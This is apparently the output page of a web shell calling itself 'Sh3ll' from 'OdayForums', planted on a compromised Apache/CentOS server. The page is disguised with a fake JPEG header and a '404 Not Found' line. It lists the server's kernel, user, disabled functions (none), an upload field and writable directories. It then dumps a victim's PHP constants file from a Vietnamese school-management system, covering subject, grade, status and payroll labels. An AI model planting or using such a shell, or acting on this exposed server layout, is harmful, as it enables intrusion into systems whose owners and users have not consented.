����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/api-truyentranh/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/api-truyentranh/includes/const.php
<?php
function siteURL()
{
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
    $domainName = $_SERVER['HTTP_HOST'].'/';
    return $protocol.$domainName;
}
define("HOST_SERVER",siteURL());
define('ROOT_PATH', dirname(__FILE__) . '/');
//include(ROOT_PATH.'configs_11_12_2013_noencode.php');
$v_userBrowser = strtolower($_SERVER['HTTP_USER_AGENT']);
// chuyen HTTP_ACCEPT ve lower case
$v_userAccept= strtolower($_SERVER['HTTP_ACCEPT']);

define("PICTURE_THUM_SIZE",180);
define("INDEX_FILE","index.php");
define("NEWS_THUM_SIZE",221);
define("NORMAL_THUM_SIZE",250);
define("MINI_THUM_SIZE",180);
define("AVATAR_SIZE",140);
define("PICTURE_MEDIUM_SIZE",700);
define("URL",HOST_SERVER);
define("IMGURL",HOST_SERVER);
define("MIMETEX_URL",HOST_SERVER."cgi-bin/onthi.cgi?");
define("ROOT_DIR",getcwd());
define("DS",DIRECTORY_SEPARATOR);
define('IMG_URL',URL.'images/');
define('CSS_URL',URL.'lib/css/');
define('JS_URL',URL.'lib/js/');

define("IMAGE_MAX_SIZE",1024);
define("IMAGE_LARGE_SIZE",800);
define("IMAGE_MEDIUM_SIZE",500);
define("IMAGE_THUM_SIZE",100);
define("IMAGE_MIN_SIZE",60);

define("PUPIL_IMAGE_NUM",4);
define("TEACHER_IMAGE_NUM",4);

$arr_allow_file_type = array("jpg","jpeg","gif","wmv","swf","wma","rar","mid","mp3","png","tif","doc","rar","zip","pdf","rtf","txt","xls");

$arr_subject[-1]="All";
$arr_subject[0]="To&#225;n";
$arr_subject[1]="L&#253;";
$arr_subject[2]="H&#243;a";
$arr_subject[3]="Sinh";
$arr_subject[4]="V&#259;n";
$arr_subject[5]="Anh";
$arr_subject[6]="S&#7917;";
$arr_subject[7]="&#272;&#7883;a";
$arr_subject[8]="Tin";
$arr_subject[9]="Ph&#225;p V&#259;n";
$arr_subject[10]="Kh&#225;c";
$arr_subject[11]="To&#225;n";

$arr_subject_kd[-1]="All";
$arr_subject_kd[0]="Toan hoc";
$arr_subject_kd[1]="Vat Ly";
$arr_subject_kd[2]="hoa hoc";
$arr_subject_kd[3]="Sinh hoc";
$arr_subject_kd[4]="Van hoc";
$arr_subject_kd[5]="Anh van";
$arr_subject_kd[6]="Lich Su";
$arr_subject_kd[7]="Dia ly";
$arr_subject_kd[8]="Tin hoc";
$arr_subject_kd[9]="Phap van";
$arr_subject_kd[10]="khac";


$arr_class[-1]="All";
$arr_class[0]="10";
$arr_class[1]="11";
$arr_class[2]="12";
$arr_level[0]="T&#7845;t c&#7843;";
$arr_level[1]="D&#7877;";
$arr_level[2]="B&#236;nh th&#432;&#7901;ng";
$arr_level[3]="Kh&#243;";

$arr_bt_type[0]="Ch&#432;a ph&#226;n lo&#7841;i";
$arr_bt_type[1]="Tr&#7855;c nghi&#7879;m";
$arr_bt_type[2]="T&#7921; lu&#7853;n";

$arr_school_type[0]="M&#7847;m non";
$arr_school_type[1]="Ti&#7875;u h&#7885;c";
$arr_school_type[2]="Trung h&#7885;c c&#417; s&#7903;";
$arr_school_type[3]="Trung h&#7885;c ph&#7893; th&#244;ng";

$arr_subject_type[0] = "T&#7921; nhi&#234;n";
$arr_subject_type[1] = "X&#227; h&#7897;i";
$arr_subject_type[2] = "N&#259;ng khi&#7871;u";
$arr_subject_type[3] = "T&#7921; ch&#7885;n";
$arr_subject_type[4] = "Ngo&#7841;i ng&#7919;";
$arr_subject_type[5] = "Trung tâm anh ngữ";
$arr_subject_type[6] = "Mầm non";
$arr_subject_type[7] = "Tiểu học";

$arr_hstd[0] = 0 ;
$arr_hstd[1] = 1 ;
$arr_hstd[2] = 2 ;
$arr_hstd[3] = 3 ;


$arr_room_type[0] = "Ph&#242;ng h&#7885;c th&#432;&#7901;ng" ;
$arr_room_type[1] = "Ph&#242;ng h&#7885;c chuy&#234;n m&#244;n" ;
$arr_room_type[2] = "Ph&#242;ng th&#237; nghi&#7879;m" ;
$arr_room_type[3] = "Ph&#242;ng m&#225;y t&#237;nh" ;
$arr_room_type[4] = "Ph&#242;ng h&#7885;p" ;
$arr_room_type[5] = "Ph&#242;ng gi&#225;o vi&#234;n" ;


$arr_bachoc[0]="M&#7847;m non";
$arr_bachoc[1]="Ti&#7875;u h&#7885;c";
$arr_bachoc[2]="Trung h&#7885;c c&#417; s&#7903;";
$arr_bachoc[3]="Trung h&#7885;c ph&#7893; th&#244;ng";

$arr_buoi_hoc[0] = "S&#225;ng";
$arr_buoi_hoc[1] = "Chi&#7873;u";
$arr_buoi_hoc[2] = "T&#7889;i";

$arr_sex[1] = "Nam";
$arr_sex[2] = "N&#7919;";

$arr_user_type[0] = "H&#7885;c sinh";
$arr_user_type[1] = "Gi&#225;o vi&#234;n";
$arr_user_type[2] = "Ph&#7909; huynh";

$arr_pupil_status[0] = "Đang học";
$arr_pupil_status[2] = "Đã nghỉ học";
$arr_pupil_status[7] = "Đã tốt nghiệp";
$arr_pupil_status[8] = "Đã bảo lưu";

$arr_pupil_status_subtype[2] = "Đã nghỉ học";
$arr_pupil_status_subtype[7] = "Đã tốt nghiệp";
$arr_pupil_status_subtype[8] = "Đã bảo lưu";

$arr_pupil_event_type[0] = "Khác ";
$arr_pupil_event_type[1] = "Chuyển lớp";

$arr_pupil_event_type[2] = "Chuyển trường";
$arr_pupil_event_type[3] = "Đã nghỉ học";
$arr_pupil_event_type[7] = "Tốt nghiệp";
$arr_pupil_event_type[8] = "Bảo lưu";

$arr_pupil_event_type[4] = "Khen thưởng";
$arr_pupil_event_type[5] = "Điểm danh - Kỷ luật";
$arr_pupil_event_type[6] = "Trở lại học";
$arr_pupil_event_type[99] = "Ngày nhập học";

$arr_class_event_type[0] = "Kh&#225;c";
$arr_class_event_type[1] = "Thi &#273;ua";
$arr_class_event_type[2] = "Khen th&#432;&#7903;ng";


$arr_teacher_event_type[0] = "Kh&#225;c";
$arr_teacher_event_type[1] = "Ngh&#7881; c&#244;ng t&#225;c";
$arr_teacher_event_type[2] = "Tr&#7903; l&#7841;i c&#244;ng t&#225;c";
$arr_teacher_event_type[3] = "Khen th&#432;&#7903;ng";
$arr_teacher_event_type[4] = "K&#7927; lu&#7853;t";
$arr_teacher_event_type[5] = "N&#226;ng l&#432;&#417;ng";

$arr_dangdoan[0] = "&#272;&#7843;ng vi&#234;n";
$arr_dangdoan[1] = "&#272;o&#224;n vi&#234;n";
$arr_dangdoan[2] = "&#272;&#7897;i vi&#234;n";
$arr_dangdoan[3] = "--------";

$arr_chucvu_type[0] = "Gi&#225;o vi&#234;n / Nh&#226;n vi&#234;n C&#225;c tr&#432;&#7901;ng";
$arr_chucvu_type[1] = "H&#7885;c sinh";
$arr_chucvu_type[2] = "C&#244;ng ty iSCHOOL";
$arr_chucvu_type[3] = "Phụ huynh";

$arr_teacher_type[0] = "Cơ hữu";
$arr_teacher_type[1] = "Thời vụ";
$arr_teacher_type[2] = "Thỉnh giảng";

/*$arr_mark_type[0] = "Mi&#7879;ng (ĐĐGtx)";
$arr_mark_type[1] = "15 ph&#250;t (ĐĐGtx)";
$arr_mark_type[2] = "45 ph&#250;t (ĐĐGgk)";
$arr_mark_type[3] = "H&#7885;c k&#7923 (ĐĐGck)";*/
//$arr_mark_type[4] = "&#272;i&#7875;m kh&#225;c";

$arr_mark_type[1] = "ĐĐGtx";
$arr_mark_type[2] = "ĐĐGgk";
$arr_mark_type[3] = "ĐĐGck";

$arr_mark_type_new[1] = "ĐĐGtx";
$arr_mark_type_new[2] = "ĐĐGgk";
$arr_mark_type_new[3] = "ĐĐGck";

$arr_mahi_type[0] = "S&#7917;a &#273;i&#7875;m";
$arr_mahi_type[1] = "H&#7911;y &#273;i&#7875;m";

$arr_teacher_status[0] = "&#272;ang c&#244;ng t&#225;c";
$arr_teacher_status[1] = "&#272;&#227; ngh&#7881;";
$arr_teacher_status[2] = "Nghỉ không hưởng lương";

$arr_teacher_diploma[0] = "Kh&#244;ng";
$arr_teacher_diploma[1] = "PTTH";
$arr_teacher_diploma[2] = "Trung c&#7845;p";
$arr_teacher_diploma[3] = "Cao &#273;&#7859;ng";
$arr_teacher_diploma[4] = "&#272;&#7841;i h&#7885;c";
$arr_teacher_diploma[5] = "Th&#7841;c s&#7929;";
$arr_teacher_diploma[6] = "Ti&#7871;n s&#7929;";


$arr_teacher_marry_status[0] = "&#272;&#7897;c th&#226;n";
$arr_teacher_marry_status[1] = "&#272;&#227; x&#226;y d&#7921;ng gia &#273;&#236;nh";


$arr_teacher_group_type[0] = 'V&#259;n ph&#242;ng';
$arr_teacher_group_type[1] = 'Tham gia gi&#7843;ng d&#7841;y';
$arr_teacher_group_type[2] = 'Gi&#225;m th&#7883;';

$arr_fandm_status[0] = "C&#242;n s&#7889;ng";
$arr_fandm_status[1] = "&#272;&#227; m&#7845;t";


$arr_hanh_kiem_value[0] = "------";
$arr_hanh_kiem_value[1] = "T";
$arr_hanh_kiem_value[2] = "K";
$arr_hanh_kiem_value[3] = "Tb";
$arr_hanh_kiem_value[4] = "Y";
$arr_hanh_kiem_value[5] = "Kém";

$arr_lesstion_rank = array();
$arr_lesstion_rank[0] = "-------";
$arr_lesstion_rank[1] = "A";
$arr_lesstion_rank[2] = "B";
$arr_lesstion_rank[3] = "C";
$arr_lesstion_rank[4] = "D";
$arr_lesstion_rank[5] = "E";

$arr_pupil_atribute[0] = "Con th&#432;&#417;ng binh";
$arr_pupil_atribute[1] = "Con li&#7879;t s&#7929;";
$arr_pupil_atribute[2] = "D&#226;n t&#7897;c thi&#7875;u s&#7889;";
$arr_pupil_atribute[3] = "Khuy&#7871;t t&#7853;t";
$arr_pupil_atribute[4] = "V&#249;ng s&#226;u - V&#249;ng xa";
$arr_pupil_atribute[5] = "Gia &#273;&#236;nh ngh&#232;o";

$v_start_year_date = "08-03";
$v_start_hk2_date = "01-04";

//Xac dinh ngay bat dau cua nam hoc nam-thang-ngay
$v_const_start_date = "2009-08-03";


$arr_learn_hk[0] ="C&#7843; n&#259;m";
$arr_learn_hk[1] ="1";
$arr_learn_hk[2] ="2";

$arr_money_status[0] = "Thi&#7871;u";
$arr_money_status[1] = "&#272;&#227; &#273;&#7911;";

$arr_kqrl[0] = '-----';
$arr_kqrl[4] = 'Tốt';
$arr_kqrl[3] = 'Khá';
$arr_kqrl[2] = 'Đạt';
$arr_kqrl[1] = 'Chưa đạt';

$arr_kqht[0] = '-----';
$arr_kqht[4] = 'Tốt';
$arr_kqht[3] = 'Khá';
$arr_kqht[2] = 'Đạt';
$arr_kqht[1] = 'Chưa đạt';

$arr_khenthuong[0] = '';
$arr_khenthuong[2] = 'Học sinh Xuất sắc';
$arr_khenthuong[1] = 'Học sinh Giỏi';

$arr_tht_status[0]="-----";
$arr_tht_status[1]="Kh&#244;ng &#273;&#7841;t";
$arr_tht_status[2]="&#272;&#7841;t";


$arr_hoc_luc["1"][0] = 9.0;
$arr_hoc_luc["1"][1] = 10.0;
$arr_hoc_luc["1"][2] = "Xu&#7845;t s&#7855;c";
$arr_hoc_luc["1"][3] = "#339900";


$arr_hoc_luc["2"][0] = 8.0;
$arr_hoc_luc["2"][1] = 8.9;
$arr_hoc_luc["2"][2] = "G";
$arr_hoc_luc["2"][3] = "#339900";


$arr_hoc_luc["3"][0] = 6.5;
$arr_hoc_luc["3"][1] = 7.9;
$arr_hoc_luc["3"][2] = "K";
$arr_hoc_luc["3"][3] = "#000099";

$arr_hoc_luc["4"][0] = 5.0;
$arr_hoc_luc["4"][1] = 6.4;
$arr_hoc_luc["4"][2] = "Tb";
$arr_hoc_luc["4"][3] = "#FF00FF";


$arr_hoc_luc["5"][0] = 3.5;
$arr_hoc_luc["5"][1] = 4.9;
$arr_hoc_luc["5"][2] = "Y";
$arr_hoc_luc["5"][3] = "#FF6600";

$arr_hoc_luc["6"][0] = 0.0;
$arr_hoc_luc["6"][1] = 3.4;
$arr_hoc_luc["6"][2] = "K";
$arr_hoc_luc["6"][3] = "#FF0000";

$arr_hoc_luc["7"][0] = 5.0;
$arr_hoc_luc["7"][1] = 10.0;
$arr_hoc_luc["7"][2] = "tr&#234;n trung b&#236;nh";
$arr_hoc_luc["7"][3] = "#9900FF";


$arr_teacher_atribute["dhd"]="H&#7907;p &#273;&#7891;ng";
//$arr_teacher_atribute["hslcb"]="HSL c&#417; b&#7843;n";
//$arr_teacher_atribute["hsltt"]="HSL t&#259;ng th&#234;m";
//$arr_teacher_atribute["lhd"]="L&#432;&#417;ng h&#7907;p &#273;&#7891;ng";
$arr_teacher_atribute["dgvg"]="&#272;&#417;n gi&#225; v&#432;&#7907;t gi&#7901;";
$arr_teacher_atribute["dmgg"]="Định mức giờ dạy";
$arr_teacher_atribute["cv"]="Ch&#7913;c v&#7909;";
//$arr_teacher_atribute["pccvtn"]="Ph&#7909; c&#7845;p CV";
//$arr_teacher_atribute["pctncv"]="Ph&#7909; c&#7845;p TN";
//$arr_teacher_atribute["ngach"]="Ng&#7841;ch";
//$arr_teacher_atribute["bac"]="B&#7853;c";
//$arr_teacher_atribute["vk"]="V&#432;&#7907;t khung";
//$arr_teacher_atribute["ptl"]="H&#432;&#7903;ng l&#432;&#417;ng";
$arr_teacher_atribute["bhxh"]="BHXH";
$arr_teacher_atribute["bhyt"]="BHYT";
$arr_teacher_atribute["bhtn"]="BHTN";

$arr_teacher_atribute["bhxh_cty"]="BHXH CTY";
$arr_teacher_atribute["bhyt_cty"]="BHYT CTY";
$arr_teacher_atribute["bhtn_cty"]="BHTN CTY";

//$arr_teacher_atribute["hddbh"]="H&#272; &#273;&#243;ng b&#7843;o hi&#7875;m";
//$arr_teacher_atribute["phucap"]="Ph&#7909; c&#7845;p";
//$arr_teacher_atribute["pcudgv"]="Ph&#7909; c&#7845;p &#432;u &#273;&#227;i GV";
//$arr_teacher_atribute["tdmt"]="Tr&#7915; &#273;&#7883;nh m&#7913;c th&#225;ng";
//$arr_teacher_atribute["cttd"]="C&#7897;ng th&#234;m ti&#7871;t d&#7841;y";
//$arr_teacher_atribute["cttot"]="Cộng thêm tiết ôn tập";
//$arr_teacher_atribute["hstd"]="HS L&#432;&#417;ng ti&#7873;n &#273;&#7891;ng";
//$arr_teacher_atribute["phucap1"]="Ph&#7909; c&#7845;p 1";
//$arr_teacher_atribute["phucap2"]="Ph&#7909; c&#7845;p 2";
//$arr_teacher_atribute["ttch"]="Ch&#7911; nhi&#7879;m";
//$arr_teacher_atribute["tltl"]="T&#259;ng l&#432;&#417;ng";
//$arr_teacher_atribute["thamnien"]="Th&#226;m ni&#234;n";
//$arr_teacher_atribute["pcthamnien"]="Ph&#7909; c&#7845;p Th&#226;m ni&#234;n";
$arr_teacher_atribute["nghits"]="Ngh&#7881; TS";


$arr_teacher_atribute["lcb_moi"]="Lương cơ bản mới";
$arr_teacher_atribute["phu_cap_thu_hut"]="Phụ cấp thu hút";
$arr_teacher_atribute["thu_nhap_khac"]="Các khoản thu nhập khác";
$arr_teacher_atribute["giam_tru_gia_canh"]="Giảm trừ gia cảnh";
$arr_teacher_atribute["phu_cap_chu_nhiem"]="Phụ cấp chủ nhiệm";
$arr_teacher_atribute["phu_cap_to_truong"]="Phụ cấp tổ trưởng";
$arr_teacher_atribute["phu_cap_nhom_truong"]="Phụ cấp nhóm trưởng";
$arr_teacher_atribute["phu_cap_khac"]="Phụ cấp khác";
$arr_teacher_atribute["tien_tam_ung"]="Tiền tạm ứng";
//$arr_teacher_atribute["tiet_on_thi"]="Tiết ôn thi/lớp/tuần";
//$arr_teacher_atribute["don_gia_tiet_on_thi"]="Đơn giá tiết ôn thi";
$arr_teacher_atribute["phan_tram_thuc_lanh"]="Phần trăm thu nhập";
$arr_teacher_atribute["phan_tram_hieu_qua"]="Phần trăm hiệu quả";
$arr_teacher_atribute["phan_tram_kpi"]="Phần trăm lương hiệu quả";
$arr_teacher_atribute["he_so_luong_thang_13"]="Hệ số lương tháng 13";
$arr_teacher_atribute["so_ngay_tien_an_trong_thang"]="Số ngày phụ cấp tiền ăn trong tháng";
$arr_teacher_atribute["cap_luong"]="Cấp lương";
$arr_teacher_atribute["bac_luong"]="Bậc lương";

$arr_teacher_atribute["cap_luong_bhxh"]="Cấp lương BHXH";
$arr_teacher_atribute["bac_luong_bhxh"]="Bậc lương BHXH";

$arr_teacher_atribute["khong_thue_tncn_tg"]="TNCN thỉnh giảng";
$arr_teacher_atribute["tncn_co_huu"]="TNCN cơ hữu";
$arr_teacher_atribute["phi_cong_doan"]="Phí công đoàn";



/*$arr_school_atribute["lcb"]="L&#432;&#417;ng c&#417; b&#7843;n";
$arr_school_atribute["ltths1"]="L&#432;&#417;ng t&#259;ng th&#234;m h&#7879; s&#7889; 1";
$arr_school_atribute["ngay_chot_luong"]="Ngày chốt lương của tháng";*/

$arr_school_atribute["dmgg"]="&#272;&#7883;nh m&#7913;c gi&#7901; gi&#7843;ng";
//$arr_school_atribute["hstlc"]="H&#7879; s&#7889; ti&#7871;t d&#7841;y l&#7899;p chuy&#234;n";
$arr_school_atribute["nbdnhm"]="Ng&#224;y b&#7855;t &#273;&#7847;u n&#259;m h&#7885;c m&#7899;i";
$arr_school_atribute["nbdhk2"]="Ng&#224;y b&#7855;t &#273;&#7847;u h&#7885;c k&#7923; 2";
$arr_school_atribute["ghbs"]="Gi&#7901; h&#7885;c bu&#7893;i s&#225;ng";
$arr_school_atribute["ghbc"]="Gi&#7901; h&#7885;c bu&#7893;i chi&#7873;u";
$arr_school_atribute["stcn"]="S&#7889; ti&#7871;t t&#237;nh cho ch&#7911; nhi&#7879;m l&#7899;p";
$arr_school_atribute["dmvg"]="V&#432;&#7907;t gi&#7901; kh&#244;ng qu&#225; %";
$arr_school_atribute["dmtt"]="Danh m&#7909;c tin t&#7913;c";
$arr_school_atribute["pcud"]="Ph&#7909; c&#7845;p &#432;u &#273;&#227;i %";
$arr_school_atribute["tbhxh"]="Thu b&#7843;o hi&#7875;m x&#227; h&#7897;i %";
$arr_school_atribute["tbhyt"]="Thu b&#7843;o hi&#7875;m y t&#7871; %";
$arr_school_atribute["tbhtn"]="Thu b&#7843;o th&#7845;t nghi&#7879;p %";
$arr_school_atribute["btdmgv"]="B&#7887; t&#237;nh &#273;&#7883;nh m&#7913;c gi&#225;o vi&#234;n";
$arr_school_atribute["bltd"]="TG &#193;p d&#7909;ng b&#7843;ng l&#432;&#417;ng ti&#7873;n &#273;&#7891;ng";
$arr_school_atribute["tbhxhcty"]="Cty tr&#7843; b&#7843;o hi&#7875;m x&#227; h&#7897;i %";
$arr_school_atribute["tbhytcty"]="Cty tr&#7843; b&#7843;o hi&#7875;m y t&#7871; %";
$arr_school_atribute["tbhtncty"]="Cty tr&#7843; b&#7843;o th&#7845;t nghi&#7879;p %";
$arr_school_atribute["stlv"]="S&#7889; tu&#7847;n trong 1 th&#225;ng ( T&#237;nh &#273;&#7883;nh m&#7913;c)";
$arr_school_atribute["sttk"]="S&#7889; ti&#7871;t t&#7915;ng kh&#7889;i ( T&#237;nh ti&#7871;t SHCN/ Th&#225;ng )";
$arr_school_atribute["tkpcd"]="Thu KPCD %";
$arr_school_atribute["tltntt"]="t&#7881; l&#7879; qu&#7929; l&#432;&#417;ng cho thu nh&#7853;p t&#259;ng th&#234;m";
$arr_school_atribute["sobuoihoc"]="S&#7889; bu&#7893;i h&#7885;c";

$arr_ischool_atribute["tgd"]="T&#7893;ng gi&#225;m &#273;&#7889;c";
$arr_ischool_atribute["ktt"]="K&#7871; to&#225;n tr&#432;&#7903;ng";
$arr_school_atribute["khdi"]="Kh&#243;a &#273;i&#7875;m ";
$arr_school_atribute["ktltangthem"]="Kh&#244;ng t&#237;nh l&#432;&#417;ng t&#259;ng th&#234;m ";
$arr_school_atribute["ktltangvgio"]="Kh&#244;ng t&#237;nh l&#432;&#417;ng v&#432;&#7907;t gi&#7901; ";
$arr_school_atribute["ktltangtgiang"]="Kh&#244;ng t&#237;nh l&#432;&#417;ng th&#7881;nh gi&#7843;ng ";
$arr_school_atribute["quannhiem"]="TG Qu&#7843;n nhi&#7879;m";
$arr_school_atribute["nam_tai_chinh"]="Năm tài chính";
$arr_school_atribute["so_ngay_tien_an_trong_thang"]="Số ngày phụ cấp tiền ăn 1 tháng";
$arr_school_atribute["dinh_muc_giam_tru_hoc_phi"]="Định mức giảm trừ học phí";

$arr_school_deny=array(
    100,112,115,118,121,136,138,139,143,144,145,147
);

$arr_diem_danh_gia[0] = "K (M) ";
$arr_diem_danh_gia[1] = "K&#233;m";
$arr_diem_danh_gia[2] = "Y";
$arr_diem_danh_gia[3] = "Tb";
$arr_diem_danh_gia[4] = "K";
$arr_diem_danh_gia[5] = "G";
$arr_diem_danh_gia[6] = "C&#272;";
$arr_diem_danh_gia[7] = "&#272;";

$arr_document_type["doc"] = "File Word";
$arr_document_type["xls"] = "File Excel";
$arr_document_type["pdf"] = "File PDF";
$arr_document_type["rar"] = "File RAR";
$arr_document_type["zip"] = "File ZIP";

/*$arr_mark_type_ex[0] = "KT Th&#432;&#7901;ng xuy&#234;n (M)";
$arr_mark_type_ex[1] = "KT Th&#432;&#7901;ng xuy&#234;n (15p)";
$arr_mark_type_ex[2] = "KT &#272;&#7883;nh k&#7923;";
$arr_mark_type_ex[3] = "H&#7885;c k&#7923;";
$arr_mark_type_ex[4] = "&#272;i&#7875;m kh&#225;c";*/


$arr_mark_type_ex[1] = "ĐĐGtx";
$arr_mark_type_ex[2] = "ĐĐGgk";
$arr_mark_type_ex[3] = "ĐĐGck";
//$arr_mark_type_ex[4] = "&#272;i&#7875;m kh&#225;c";

$arr_xep_loai_hoc_luc = array();
$arr_xep_loai_hoc_luc[6] = "Xs";
$arr_xep_loai_hoc_luc[5] = "G";
$arr_xep_loai_hoc_luc[4] = "K";
$arr_xep_loai_hoc_luc[3] = "Tb";
$arr_xep_loai_hoc_luc[2] = "Y";
$arr_xep_loai_hoc_luc[1] = "Kém";
$arr_xep_loai_hoc_luc[0] = "";

$arr_danh_hieu_hoc_sinh = array();
$arr_danh_hieu_hoc_sinh[6] = "Xuất sắc";
$arr_danh_hieu_hoc_sinh[5] = "Giỏi";
$arr_danh_hieu_hoc_sinh[4] = "Tiên tiến";
$arr_danh_hieu_hoc_sinh[3] = "";
$arr_danh_hieu_hoc_sinh[2] = "";
$arr_danh_hieu_hoc_sinh[1] = "";
$arr_danh_hieu_hoc_sinh[0] = "-----";

$arr_rule_type = array();
$arr_rule_type[0] = "Theo gi&#245;i-Tra c&#7913;u";
$arr_rule_type[1] = "Gi&#225;o vi&#234;n";
$arr_rule_type[2] = "Gi&#225;o vi&#234;n ch&#7911; nhi&#7879;m";
$arr_rule_type[3] = "Gi&#225;m th&#7883;";
$arr_rule_type[4] = "T&#7893; tr&#432;&#7903;ng";
$arr_rule_type[5] = "K&#7871; to&#225;n";
$arr_rule_type[6] = "Tuy&#7875;n sinh";
$arr_rule_type[7] = "Ban gi&#225;m hi&#7879;u";
$arr_rule_type[8] = "Theo gi&#245;i-Tra c&#7913;u";
$arr_rule_type[9] = "Qu&#7843;n l&#253;";


$arr_sms_type = array();
$arr_sms_type[0] = "Th&#244;ng tin th&#7901;i kh&#243;a bi&#7875;u";
$arr_sms_type[1] = "Th&#244;ng tin k&#7927; lu&#7853;t khen th&#432;&#7903;ng h&#7885;c sinh";
$arr_sms_type[2] = "Th&#244;ng tin &#273;i&#7875;m danh";
$arr_sms_type[3] = "Th&#244;ng tin v&#7873; &#273;i&#7875;m b&#7897; m&#244;n";
$arr_sms_type[5] = "Th&#244;ng tin v&#7873; c&#225;c kho&#7843;n &#273;&#243;ng ph&#237;";

$arr_fcrio_object_type = array();
$arr_fcrio_object_type[0] = "H&#7885;c sinh";
$arr_fcrio_object_type[1] = "Gi&#225;o vi&#234;n";
$arr_fcrio_object_type[3] = "Kh&#225;c";

$arr_enrollment_profile_status = array();
$arr_enrollment_profile_status[0] = "-----";
$arr_enrollment_profile_status[1] = "&#272;K Tr&#7921;c tuy&#7871;n";
$arr_enrollment_profile_status[2] = "Thi&#7871;u h&#7891; s&#417;";
$arr_enrollment_profile_status[3] = "&#272;&#7911; h&#7891; s&#417;";
$arr_enrollment_profile_status[4] = "Tr&#250;ng tuy&#7875;n";
$arr_enrollment_profile_status[5] = "&#272;&#227; nh&#7853;p h&#7885;c";
$arr_enrollment_profile_status[6] = "&#272;&#227; x&#7871;p l&#7899;p";

$arr_duoc_len_lop_lable = array();
$arr_duoc_len_lop_lable[0]  = "Lên lớp";
$arr_duoc_len_lop_lable[1]  = "Thi lại";
$arr_duoc_len_lop_lable[2]  = "Không được lên lớp";
$arr_duoc_len_lop_lable[3]  = "Rèn luyện trong hè";
$arr_duoc_len_lop_lable[4]  = "Lên lớp (TL)";

// Thu vien de thi
$arr_grade_type = array();
$arr_grade_type[0] = "-----";
for ($i=1;$i<=12;$i++)
    $arr_grade_type[$i] = "L&#7899;p ".$i;

$arr_test_library_time_type = array();
$arr_test_library_time_type[0] = "-----";
$arr_test_library_time_type[1] = "15 ph&#250;t";
$arr_test_library_time_type[2] = "30 ph&#250;t";
$arr_test_library_time_type[3] = "45 ph&#250;t";
$arr_test_library_time_type[4] = "60 ph&#250;t";
$arr_test_library_time_type[5] = "90 ph&#250;t";
$arr_test_library_time_type[6] = "120 ph&#250;t";
$arr_test_library_time_type[7] = "150 ph&#250;t";
//----------------

$arr_basic_subject_id = array();
$arr_basic_subject_id[0] = 11;
$arr_basic_subject_id[1] = 4;
$arr_basic_subject_id[2] = 5;
$arr_basic_subject_id[3] = 1;
$arr_basic_subject_id[4] = 2;

$arr_event_marketing_type = array();
$arr_event_marketing_type[0] = 'Thi &#7843;nh';
$arr_event_marketing_type[1] = 'Thi vi&#7871;t';

/* QLTS */
/* QLTS */
$arr_vote_type = array();
$arr_vote_type[0] = "Mua t&#7915; d&#7921; &#225;n";
$arr_vote_type[1] = "Mua sau khi chuy&#7875;n giao NHG";

$arr_product_status = array();
$arr_product_status[0] = "&#272;ang s&#7917; d&#7909;ng";
$arr_product_status[1] = "L&#432;u t&#7891;n kho";
$arr_product_status[2] = "H&#432; - &#272;&#7873;n ngh&#7883; thanh l&#253;";
$arr_product_status[3] = "H&#432; - H&#7911;y b&#7887;";
$arr_product_status[4] = "Th&#7845;t l&#7841;c";

$arr_asset_status = array();
$arr_asset_status[0][0]= 0 ;$arr_asset_status[0][1]= "-- T&#7845;t c&#7843; --" ;
$arr_asset_status[1][0]= 1 ;$arr_asset_status[1][1]= "Nh&#7853;p m&#7899;i" ;
$arr_asset_status[2][0]= 2 ;$arr_asset_status[2][1]= "&#272;ang s&#7917; d&#7909;ng" ;
$arr_asset_status[3][0]= 3 ;$arr_asset_status[3][1]= "H&#432; h&#7887;ng" ;
$arr_asset_status[4][0]= 4 ;$arr_asset_status[4][1]= "S&#7917;a ch&#7919;a" ;
$arr_asset_status[5][0]= 5 ;$arr_asset_status[5][1]= "Thanh l&#253;" ;
$arr_asset_status[6][0]= 6 ;$arr_asset_status[6][1]= "M&#7845;t" ;

$arr_asset_type = array();
$arr_asset_type[0][0]= 0 ;$arr_asset_type[0][1]= "-- T&#7845;t c&#7843; --" ;
$arr_asset_type[1][0]= 1 ;$arr_asset_type[1][1]= "M&#7899;i mua" ;
$arr_asset_type[2][0]= 2 ;$arr_asset_type[2][1]= "Chuy&#7875;n" ;
/* End QLTS */
/* End QLTS */


$arr_money_exam = array();
$arr_money_exam["1"][0] = 0;
$arr_money_exam["1"][1] = 45;
$arr_money_exam["1"][2] = 30000;

$arr_money_exam["2"][0] = 46;
$arr_money_exam["2"][1] = 60;
$arr_money_exam["2"][2] = 40000;

$arr_money_exam["3"][0] = 61;
$arr_money_exam["3"][1] = 90;
$arr_money_exam["3"][2] = 50000;

$arr_money_exam["4"][0] = 91;
$arr_money_exam["4"][1] = 120;
$arr_money_exam["4"][2] = 60000;

$arr_money_exam["5"][0] = 121;
$arr_money_exam["5"][1] = 150;
$arr_money_exam["5"][2] = 70000;

$arr_money_exam["6"][0] = 151;
$arr_money_exam["6"][1] = 360;
$arr_money_exam["6"][2] = 80000;

$arr_health_type[0] = '-- &#272;&#7907;t kh&#225;m --';
$arr_health_type[1] = 'Kh&#225;m s&#7913;c kh&#7887;e &#273;&#7883;nh k&#7923;';
$arr_health_type[2] = 'U&#7889;ng vitamin';
$arr_health_type[3] = 'Ch&#237;ch ng&#7915;a';

$arr_personality_quiz_type = array();
$arr_personality_quiz_type[0]= "B&#7841;n l&#224; ng&#432;&#7901;i nh&#432; th&#7871; n&#224;o";
$arr_personality_quiz_type[1]= "B&#7841;n th&#237;ch l&#224;m g&#236; v&#224;o th&#7901;i gian r&#7843;nh";
$arr_personality_quiz_type[2]= "B&#7841;n th&#237;ch l&#224;m ngh&#7873; g&#236;";

$arr_discussion_type[0] = '-- Ch&#7885;n di&#7877;n &#273;&#224;n --';
$arr_discussion_type[1] = 'Di&#7877;n &#273;&#224;n H&#272;CM ';
$arr_discussion_type[2] = 'Di&#7877;n &#273;&#224;n HT';
$arr_discussion_type[3] = 'Di&#7877;n &#273;&#224;n truy&#7873;n th&#244;ng';
